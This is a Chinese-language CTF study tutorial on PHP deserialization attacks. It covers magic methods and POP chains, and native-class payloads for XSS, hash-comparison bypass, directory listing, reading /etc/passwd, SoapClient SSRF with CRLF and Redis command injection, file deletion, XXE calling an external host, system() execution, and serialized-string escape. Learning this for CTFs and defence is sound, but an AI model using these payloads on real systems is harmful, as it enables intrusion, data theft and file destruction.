PHP反序列化
php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
魔术方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | __construct(): 在创建对象时候初始化对象,一般用于对变量赋初值。__destruct(): 和构造函数相反,当对象所在函数调用完毕后执行。
 __call(): 当调用对象中不存在的方法会自动调用该方法。
 __get(): 获取对象不存在的属性时执行此函数。
 __set(): 设置对象不存在的属性时执行此函数。
 __toString(): 当对象被当做一个字符串使用时调用。
 __sleep(): 序列化对象之前就调用此方法(其返回需要一个数组)
 __wakeup(): 反序列化恢复对象之前调用该方法
 __isset(): 在不可访问的属性上调用isset()或empty()触发
 __unset(): 在不可访问的属性上使用unset()时触发
 __invoke(): 将对象当作函数来使用时执行此方法
 __clone(): 进行对象clone时被调用,用来调整对象的克隆行为
 __autoload(): 尝试加载未定义的类
 __debuginfo(): 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
 __callStatic(): 调用不可访问或不存在的静态方法时被调用
 __set_state(): 当调用var_export()导出类时,此静态方法被调用。用“__set_state”的返回值做为var_export的返回值。
 
 | 
不同属性区别
| 12
 3
 4
 5
 6
 
 | public  变量(公有) 直接将变量名反序列化出来
 protected  变量(受保护)
 \x00 + * + \x00 + 变量名
 private  变量(私有)
 \x00 + 类名 + \x00 + 变量名
 
 | 
__construct() & _destruct()
__construct:构造函数,在实例化一个对象时,会被自动调用,可以作为非public权限属性的初始化
__destruct:即析构函数,和构造函数相反,当对象销毁时会调用此方法,一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
例如:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?php  class CTF{
 public $a="这里是__construct~~~";
 public function __construct()
 {
 echo $this->a;
 }
 public function __destruct()
 {
 echo $this->a="这里是__destruct~~~";
 }
 
 }
 $a=new CTF();
 ?>
 
 | 
运行结果

可以看到__destruct这个方法会在__construct执行后再执行,因此只要我们实例化了a,在它被销毁的时候(一般在程序结束时),这个函数中的变量就会自动调用,因此__destruct这个方法在许多ctf题目中经常作为我们构建反序列化链(pop)的起始
__sleep() & _wakeup()
__sleep:serialize()时会先检查是否有__sleep()并且是先执行sleep()再进行序列化
__wakeup:当unserialize的时候,会检查时候存在wakeup()函数,如果存在 的话,会优先调用wakeup()函数再进行反序列化
例如:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?php  class CTF{
 public $a;
 public function __destruct()
 {
 echo $this->a="这里是__destruct~~~";
 }
 public function __sleep()
 {
 echo $this->a="这里是__sleep~~~"
 }
 
 }
 $a=new CTF();
 serialize($a);
 
 | 

可以看到,先执行sleep()再执行destruct()
但感觉sleep()相较于wakeup()比较不常见,毕竟几乎遇到的题目都是unserilize(),很少有serilize(),所以相比之下,wakeup()出现的频率就很高了。
经常会考察wakeup()的绕过,关于wakeup绕过的几种方法,之前已经总结过了php反序列化之wakeup()绕过 - Hey
__get ()& _set()
__get:对不可访问属性或不存在属性进行 访问引用时自动调用
__set:对不可访问属性或不存在属性进行 写入时自动调用
这两者区别在于一个是“访问”一个是“写入”
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | <?phpclass CTF{
 public $username='admin';
 private $password='admin';
 
 public function __get($name){
 echo "这里是__get~~~\n";
 }
 
 public function __set($name,$value){
 echo "这里是__set~~~\n";
 }
 
 }
 
 $a = new CTF();
 $a->password;
 $a->password='123456';
 ?>
 
 | 

分别触发了__get()和__set()方法
__call() & _callstatic()
__call:对象执行类不存在的方法时会自动调用__call方法
__callstatic:直接执行类不存在的方法时会自动调用__callstatic方法
与__get ()& _set()的区别是:get ()和 set()方法触发的对象是“属性”;而 call() 和 callstatic()触发对象是“方法”
直接执行类是指在没有实例化对象的情况下,直接访问类的静态成员和静态方法。例如:
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | class MyClass {public static $myStaticVar = "Hello";
 public static function myStaticMethod() {
 echo "Static method called";
 }
 }
 echo MyClass::$myStaticVar;
 MyClass::myStaticMethod();
 
 
 | 
在上面的例子中,我们没有创建MyClass的对象,而是直接访问了它的静态成员和静态方法。
对象执行类是指在实例化对象后,通过对象来访问类的成员和方法。例如:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | class MyClass {public $myVar = "World";
 public function myMethod() {
 echo "Method called";
 }
 }
 $obj = new MyClass();
 echo $obj->myVar;
 $obj->myMethod();
 
 
 | 
在上面的例子中,我们创建了MyClass的对象$obj,并通过$obj来访问它的成员和方法。
接着就这两个魔术方法,举个例子:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?phpclass CTF{
 
 public function __call($method,$args){
 echo '不存在'.$method.'方法(__call)';
 }
 
 public function __callstatic($method,$args){
 echo '这里是__callstatic~~~';
 }
 }
 
 $a = new CTF();
 $a->Hey();
 CTF::Hey();
 
 | 

__isset ()& _unset()
__isset:在不可访问的属性上使用inset()时触发
__unset:在不可访问的属性上使用unset()时触发
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?phpclass test{
 public $username='admin';
 private $password='admin888';
 
 function __isset($name){
 echo "这里是__isset~~~\n";
 }
 function __unset($name){
 echo "这里是__unset~~~\n";
 }
 }
 
 $a = new test();
 isset($a->password);
 unset($a->psd);
 
 | 

感觉在ctf中还是少见到这两种方法的
__invoke()
__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | <?phpclass CTF{
 
 public function __invoke(){
 echo "这里是__invoke~~~";
 }
 }
 class ONE{
 public $web1;
 public function __destruct()
 {
 ($this->web1)();
 }
 }
 $a = new CTF();
 $b = new ONE();
 $b->web1 = $a;
 
 | 

这里用ONE类中的($this->web1)();去触发CTF类中的__invoke()方法。
__toString
__toString():在类的对象被当作字符串操作的时候自动被调用(例如:echo $this->web1 . ‘哈哈哈哈’)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?phpclass CTF{
 
 public function __toString(){
 return "这里是__toString~~~";
 }
 }
 class ONE{
 public $web1;
 public function __destruct(){
 echo $this->web1 . "哈哈哈哈哈";
 }
 }
 $a = new CTF();
 $b = new ONE();
 $b->web1 = $a;
 
 | 

这里用ONE类中的echo $this->web1 . “哈哈哈哈哈”;去触发CTF类中的__toSting()方法。
原生类
这个部分是看了朋友的总结再来写的,PHP原生类 | b1xcy’s blog
写得太好啦!一看就懂,这里我也简单记录一下
原生类,顾名思义就是自带的类,不需要事前进行class定义。
例如愚人杯中的那个被遗忘的反序列化,非预期就是原生类
部分代码:
| 12
 3
 
 | if(isset($this->name)){$a = new $this->coos($this->file);
 echo $a;
 
 | 
这里的new的类(coos)和向类中传递的参数(file)都可以自定义,就可以用原生类
Error和Exception
Exception 类适用于PHP 5和7,
而 Error 只适用于 PHP 7。
Error类属性:
- message:错误消息内容
- code:错误代码
- file:抛出错误的文件名
- line:抛出错误在该文件中的行数
Exception类属性:
- message:异常消息内容
- code:异常代码
- file:抛出异常的文件名
- line:抛出异常在该文件中的行号
Error类方法:
- Error::__construct— 初始化 error 对象
- Error::getMessage— 获取错误信息
- Error::getPrevious— 返回先前的 Throwable
- Error::getCode— 获取错误代码
- Error::getFile— 获取错误发生时的文件
- Error::getLine— 获取错误发生时的行号
- Error::getTrace— 获取调用栈(stack trace)
- Error::getTraceAsString— 获取字符串形式的调用栈(stack trace)
- Error::__toString— error 的字符串表达
- Error::__clone— 克隆 error
Exception类方法:
- Exception::__construct— 异常构造函数
- Exception::getMessage— 获取异常消息内容
- Exception::getPrevious— 返回异常链中的前一个异常
- Exception::getCode— 获取异常代码
- Exception::getFile— 创建异常时的程序文件名称
- Exception::getLine— 获取创建的异常所在文件中的行号
- Exception::getTrace— 获取异常追踪信息
- Exception::getTraceAsString— 获取字符串类型的异常追踪信息
- Exception::__toString— 将异常对象转换为字符串
- Exception::__clone— 异常克隆
这两个类中都内置了__toString()方法,这个方法用于将异常或错误对象转换为字符串。
XSS利用
| 12
 
 | $a = new Error("<script>alert('xss')</script>");echo $a;
 
 | 
执行代码就能把构造好的xss直接拼接到html中,造成xss攻击
绕过哈希比较
同时也能用来绕过哈希比较啊
| 12
 3
 
 | <?php$a = new Error("payload",1);
 echo $a;
 
 | 
在使用类中的__toString()方法时,向Error中传入的1并不会显示,这说明在字符串操作时候,只要传入的“payload”相同,即视为该字符串相同。
即便两者的字符串是完全一致的,但是进行var_dump比对时,两者的值却不相同。
所以可以利用这个,在特定的环境下绕过比较
| 1
 | if($this->a != $this->b && sha1($this->a) === sha1($this->b))
 | 
payload:
| 1
 | $this->a = new Error("payload",1);$this->b = new Error("payload",2);
 | 
buuctf的[2020极客大挑战] Ereatphp 就可以使用该方式
Directorylterator和Filesystemlterator
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。FilesystemIterator 类与DirectoryIterator 类相同。
| 12
 3
 4
 5
 6
 7
 
 | <?php$dir = $_GET['a'];
 $a = new DirectoryIterator($dir);
 foreach($a as $f){
 echo($f->__toString().'<br>');
 }
 ?>
 
 | 
传入/?a=glob:///*即可查看根目录下的所有文件(将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。)
如果不用foreach就只能查看第一个文件
但传入/?a=glob:///*f*就可以通过通配符及正则匹配指定判断是否有文件名包含f的文件
例如,像愚人杯那道题那样
| 12
 3
 
 | if(isset($this->name)){$a = new $this->coos($this->file);
 echo $a;
 
 | 
这里的new的类(coos)和向类中传递的参数(file)都可以自定义,就可以通过通配符及正则匹配指定判断是否有某些文件
| 12
 
 | $a->file="glob:///*f*";$a->coos="DirectoryIterator";
 
 | 
Globlterator
与Directorylterator和Filesystemlterator类似,
不过这个查找文件时不需要搭配glob://伪协议使用,直接传入路径即可
即:
| 12
 
 | $a->file="/*f*";$a->coos="GlobIterator";
 
 | 
SplFileObject
可以利用该类读取文件的一行
| 12
 3
 
 | <?php$context = new SplFileObject('/etc/passwd');
 echo $context;
 
 | 
例如,愚人杯那道题,知道了有个f1agaaa文件后,可以用该类查看内容
| 12
 3
 
 | if(isset($this->name)){$a = new $this->coos($this->file);
 echo $a;
 
 | 
| 12
 
 | $a->file="/f1agaaa";$a->coos="SplFileObject";
 
 | 
SoapClient
如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项
常用于ssrf中,因为它内置了一个__call方法,触发该方法之后可以发送http和https请求。
| 1
 | public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
 | 
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
下面直接搬一下大佬的解释
则可以构造:
| 12
 3
 4
 
 | <?php$a = new SoapClient(null,array('location'=>'http://192.168.255.129:1234/aaa', 'uri'=>'http://192.168.255.129:1234'));
 $a->a();
 ?>
 
 | 
在192.168.255.129上给一个1234的监听,可以接收到:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | POST /aaa HTTP/1.1Host: 192.168.255.129:1234
 Connection: Keep-Alive
 User-Agent: PHP-SOAP/8.2.0
 Content-Type: text/xml; charset=utf-8
 SOAPAction: "http://192.168.255.129:1234#a"
 Content-Length: 388
 
 <?xml version="1.0" encoding="UTF-8"?>
 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.255.129:1234" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
 
 | 
如果HTTP头存在CRLF漏洞,就可以通过SSRF+CRLF插入任意HTTP头。
payload:
| 12
 3
 4
 5
 
 | <?php$target = 'http://192.168.255.129:1234';
 $a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=test", 'uri' => 'test'));
 $a->a();
 ?>
 
 | 
成功插入cookie:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | POST / HTTP/1.1Host: 192.168.255.129:1234
 Connection: Keep-Alive
 User-Agent: WHOAMI
 Cookie: PHPSESSID=test
 Content-Type: text/xml; charset=utf-8
 SOAPAction: "test#a"
 Content-Length: 365
 
 <?xml version="1.0" encoding="UTF-8"?>
 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
 
 
 | 
同理,还可以插入Redis命令:
| 12
 3
 4
 5
 
 | <?php$target = 'http://192.168.255.129:1234';
 $a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCONFIG SET dir /var/www/html", 'uri' => 'test'));
 $a->a();
 ?>
 
 | 
也可以发送POST数据包,但是要设置Content-Type为application/x-www-form-urlencoded。
由于Content-Type的位置在UA底下,就可以通过类中的UA插入Content-Type,把原来的挤到地下作为POST内容
payload:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <?php$target = 'http://192.168.255.129:1234';
 $poc = "CONFIG SET dir /var/www/html";
 $post_data = 'data=whoami';
 $headers = array(
 'X-Forwarded-For: 127.0.0.1',
 'Cookie: PHPSESSID=Cookie'
 );
 $a = new SoapClient(null,array('location' => $target,'user_agent'=>"UA\n\rContent-Type: application/x-www-form-urlencoded\n\r".join("\n\r",$headers)."\n\rContent-Length: ". (string)strlen($post_data)."\n\r\n\r".$post_data,'uri'=>'test'));
 $a->a();
 ?>
 
 | 
ZipArchive
PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。
类下有个open方法,可以打开一个新的或现有的zip文档进行读取.
| 1
 | ZipArchive::open ( string $filename [, int $flags ] ) : mixed
 | 
flags可以指定开打的模式:
- ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
- ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
- ZipArchive::RDONLY:只读模式打开压缩包。
- ZipArchive::EXCL:如果压缩包已经存在,则出错。
- ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
如果指定flags为ZipArchive::OVERWRITE,就可以把指定文件删除。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。
也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。
| 12
 3
 4
 
 | $a = new ZipArchive();$a->open('1.txt',ZipArchive::OVERWRITE);
 // ZipArchive::OVERWRITE:  总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
 // 因为没有保存,所以效果就是删除了1.txt
 
 | 
SimpleXMLElement
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:
| 12
 3
 4
 5
 6
 7
 
 | public SimpleXMLElement::__construct(string $data,
 int $options = 0,
 bool $dataIsURL = false,
 string $namespaceOrPrefix = "",
 bool $isPrefix = false
 )
 
 | 
其中值得注意的是$data和$data_is_url这个两个参数:
$data:格式正确的XML字符串,或者XML文档的路径或URL(如果$data_is_url为true)。
$data_is_url:默认情况下$data_is_url为false。使用true指定$data的路径或URL到一个XML文件,而不是字符串数据。
可以看到通过设置第三个参数 $data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
example:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <?php$xml = <<<EOF
 <?xml version="1.0" encoding="utf-8" ?>
 <!DOCTYPE ANY [
 <!ENTITY % remote SYSTEM "http://t6n089.ceye.io">%remote;]>
 ]>
 <x>&xee</x>
 EOF;
 $xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
 var_dump($xml_class);
 ?>
 
 | 
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区
Reflection反射类
ReflectionMethod
该类中有个getDocComment() 方法,可以获得类中函数的注释内容。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?phpclass FlagIsHere
 {
 
 
 
 
 
 protected function GiveMeFlag()
 {
 return 9999;
 }
 }
 
 $ref = new ReflectionMethod('FlagIsHere','GiveMeFlag');
 var_dump($ref->getDocComment());
 
 | 
ReflectionClass
能显示出类中的属性和方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <?phphighlight_file(__FILE__);
 class F{
 protected $pro;
 private $pri;
 protected function get(){
 echo 'pro';
 }
 }
 $ref = new ReflectionClass('F');
 echo $ref;
 ?>
 
 | 
ReflectionFunction
ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()方法能够用来写Webshell。
| 12
 3
 4
 5
 6
 
 | <?php$a = "system";
 $b = "whoami";
 $func = new ReflectionFunction($a);
 echo $func->invokeArgs(array($b));
 ?>
 
 | 
动态调用
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
当给一个函数名赋值给一个变量时,可以通过调用这个变量来调用这个函数。
例如:
| 12
 3
 4
 5
 
 | <?php$a = "system";
 $b = "whoami";
 ($a)($b);
 ?>
 
 | 
这样相当于直接执行了system(whoami)命令。
同理:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <?phpclass Hey{
 public function sys($exec){
 system($exec);
 }
 }
 $n = new Hey();
 $a = array($n,"sys");
 $b = "whoami";
 $a($b);
 ?>
 
 | 
反序列化字符逃逸
参考:https://xz.aliyun.com/t/9213
原理:PHP在反序列化时,是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且在字符串内,是以关键字后面的数字来规定所读取的内容 。所以我们可以人为地修改反序列化字符串,构造出合适的payload来达到字符逃逸的效果
场景:通常通过preg_replace()、str_replace等函数来进行字符串的长度的修改
例如:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | function safe($parm){
 $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
 return str_replace($array, 'hacker', $parm);
 }
 
 function filter($a){
 $filter='/qq/i';
 return preg_replace($filter,'w',$a);
 }
 
 | 
字符串增多
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?phpclass A{
 public $a='qqqqqqq';
 public $b='21';
 
 }function filter($a){
 $filter='/q/i';
 return preg_replace($filter,'ww',$a);
 }
 $a=new A;
 var_dump(serialize($a));
 $r=filter(serialize($a));
 var_dump($r);
 
 | 

通过运行以下代码可以知道,当经过filter替换后的payload明显是不能用的,因为序列化的长度不对应7:"wwwwwwwwwwwwww"
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | <?phpclass A{
 public $a='qqqqqqq';
 public $b='21';
 
 }function filter($a){
 $filter='/q/i';
 return preg_replace($filter,'ww',$a);
 }
 
 
 
 
 $out='O:1:"A":2:{s:1:"a";s:7:"wwwwwwwwwwwwww";s:1:"b";s:2:"21";}';
 
 
 var_dump(unserialize($out));
 ?>
 
 | 
但我们可以通过字符逃逸来达到正确的效果,甚至可以修改原有参数值和添加反序列化类中不存在的属性
例如我们想让$b=114同时添加一个属性$c=514,那么我们需要构造:
| 1
 | ";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}    //这里开头的";用来闭合前面
 | 
然后先将其拼接在$a的后面看看输出
| 1
 | O:1:"A":2:{s:1:"a";s:46:"qqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";s:1:"b";s:2:"21";}
 | 
当然这时候还是不能成功逃逸的,可以想一下
如果我们把s:28后面的内容以字符串按要求填满了46个,那么";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}就会执行。而}”后面的内容,即;s:1:"b";s:2:"21";}"就不会执行了,从而达到了逃逸的目的。
也就是说让替换后的字符w填满后,我们构造的字符就能成功逃逸
而在filter函数中,一个q被换成了两个w,所以让q的数量等于";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}的字符串长度就行了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | <?phpclass A{
 public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}';
 public $b='21';
 
 }function filter($a){
 $filter='/q/i';
 return preg_replace($filter,'ww',$a);
 }
 $a=new A;
 var_dump(serialize($a));
 $r=filter(serialize($a));
 var_dump($r);
 
 
 
 
 ?>
 
 | 

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | <?phpclass A{
 public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}';
 public $b='21';
 
 }function filter($a){
 $filter='/q/i';
 return preg_replace($filter,'ww',$a);
 }
 
 
 
 
 
 
 
 $out='O:1:"A":3:{s:1:"a";s:78:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";s:1:"b";s:2:"21";}';
 var_dump(unserialize($out));
 ?>
 
 
 
 | 

字符串减少
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <?phpclass A{
 public $a='qqqqqqqqqqqqqqqqqqqqqqqqqq';
 public $b='20';
 
 }
 function filter($a){
 $filter='/qq/i';
 return preg_replace($filter,'w',$a);
 }
 $a=new A;
 var_dump(serialize($a));
 $r=filter(serialize($a));
 var_dump($r);
 
 | 
和增加的情况差不多,只不过这次是减少

| 1
 | a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}    //这里的a用来闭合
 | 
然后赋值
| 1
 | $b='a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}'
 | 

| 1
 | O:1:"A":2:{s:1:"a";s:26:"wwwwwwwwwwwww";s:1:"b";s:40:"a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";
 | 
接下来只需要p的长度为";s:1:"b";s:40:"a的两倍,然后缩短为w后就可以将";s:1:"b";s:40:"a与w一起解析为字符串,从而逃逸出我们想构造的字符
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | <?phpclass A{
 public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq';
 public $b='a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}';
 
 }
 function filter($a){
 $filter='/qq/i';
 return preg_replace($filter,'w',$a);
 }
 $a=new A;
 var_dump(serialize($a));
 $r=filter(serialize($a));
 var_dump($r);
 
 
 
 
 
 
 | 
